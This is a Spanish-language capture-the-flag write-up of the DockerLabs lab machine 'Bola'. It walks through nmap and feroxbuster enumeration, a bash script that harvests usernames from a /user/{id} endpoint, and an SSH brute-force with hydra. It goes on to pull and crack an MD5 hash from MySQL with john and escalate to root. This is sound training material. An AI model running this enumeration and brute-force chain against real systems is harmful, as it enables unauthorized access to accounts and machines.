Post

Bola, DockerLabs

portada

Herramientas y recursos

En este reto de DockerLabs practicamos.

Tecnicas Herramientas
scan de puertos nmap
fuzzing directorios feroxbuster
scripting bash
mysql navegacion basica
port forwading SSH

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX bola 172.17.0.3

reporte

Como vemos tenemos el 12345 http, el 22 ssh, sin mas demora revisamos la web y lanzamos un feroxbuster para ver que directorios.

En la web entrando a raiz solo obtenmos un error que nos indica que le pasemos un usuario y revisando los resultados de feroxbuster ya nos hacemos una idea.

ferox

1
feroxbuster --url http://172.17.0.2:12345 -T 400 -s 200 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt 

ferox

Ferox nos reporta una lista de url`s que entrando a cada una de ellas nos da un nombre de usuario.

ferox

Ahora teniendo en cuenta que disponemos de usuarios y esta ssh activo podriamos extraer todos esos usuarios y probra fuerza bruta a ssh.

Creo un bash script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash

# Base de la URL
base_url="http://172.17.0.2:12345/user"

# Archivo donde guardaremos los nombres
output_file="usernames.txt"

# Limpiamos el archivo si ya existe
> $output_file

echo "[-] Iniciando extracción de nombres..."

# Bucle del 1 al 20 
for id in $(seq 1 20); do
    # peticin y extraccion de usuarios
    username=$(curl -s "$base_url/$id" | jq -r '.username')

    # Si el username no es nulo (por si algún ID no existe)
    if [ "$username" != "null" ] && [ -n "$username" ]; then
        echo "[+] ID $id: $username"
        echo "$username" >> $output_file
    else
        echo "[!] ID $id: No encontrado o error"
    fi
done

echo "[-] Proceso finalizado. Nombres guardados en $output_file"

Resultado:

ferox

Trate de hacer una animalada (mucho tiempo sin jugar a estos juegitos) que fue tirar la lista de 20 usuarios contra el rockyou y me daba los errores que veis en imagen de abajo y no se si hay alguna regla de firewall o failtoban o similar y aunque no lo hubiese 20 usuarios contra el rockyou serian unos cuantos años de espera y mas si pones reglas para que no salte esa restriccion asi que hay que ser sigilosos.

ferox

Consulten el help de la aplicacion que usen para limitar hilos , consultas y usar waiit si es necesario. Voy a probar con los nombres de usuario en ambos campos.

1
hydra -L usernames.txt -P usernames.txt -t 4 -W 2 -f ssh://172.17.0.2 -vV
  • -t 4 : Limito a 4 conexiones a la vez no las 16 que hace por defecto.
  • -W 2 : Espero 2 segundos antes de que mande otras conexiones
  • -f : Le inidco que pare cuando encuentre la primera coincidencia.

ferox

Intrusion y escalada

Suerte en la imagen veis que despues de 7 minutos dio con el user y pass , ahora ssh..

Parece que se olvido de borrar los history , gracias por eso.

history

Miremos tambien los usuarios a ver que tenemos.

user_local

Debemos ir por baluadmin asi que sgui los paso a la inversa del history y voy a mysql.

1
2
3
4
show databases;
use secretito;
show tables;
select * FROM usuarios;

mysql

Vemos que hay varios usuaris pero el que nos interesa en baluadmin como habiamos visto en passwd asi que copiamos el hash que aparece.

El hash parece un MD5 dado que contiene 32 caRATERES hexadecimales 0-9 y a-f. hashid no me a sido de ayuda pero le tiro un john y parece que tengo suerte. Me devuelve estrella en alguna otra maquina de Mario tambien esta esta creo recordar

john

Asi que salgo de mysql y me paso a baluadmin. No borro nada Mario y con lo que veo en este history mas el del otro usuario que me decia lo que cambio de lugar ya esta claro.

admin

Despues de realizar los pasos encontramos la pass de root en el zip como podeis ver en la imagen de arriba.

root

Somos root,otra maquinita mas y tambien divertida

Despues de revisar sshd_config no encuentro ninguna configuracion que restrinja el ataque no se si a nivel kernel al tirar al maximo hydra lo puede interpretar como un DDOS y cierra el socket, dado que tampoco vi firewall ni failtoban monitoreando /var/log/auth.log que ni existe. Ha ser mas cauteloso e inteligente de ahora en adelante.

Muchas gracias poor leerme, espero que te haya gustado y que te sirva de ayuda.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.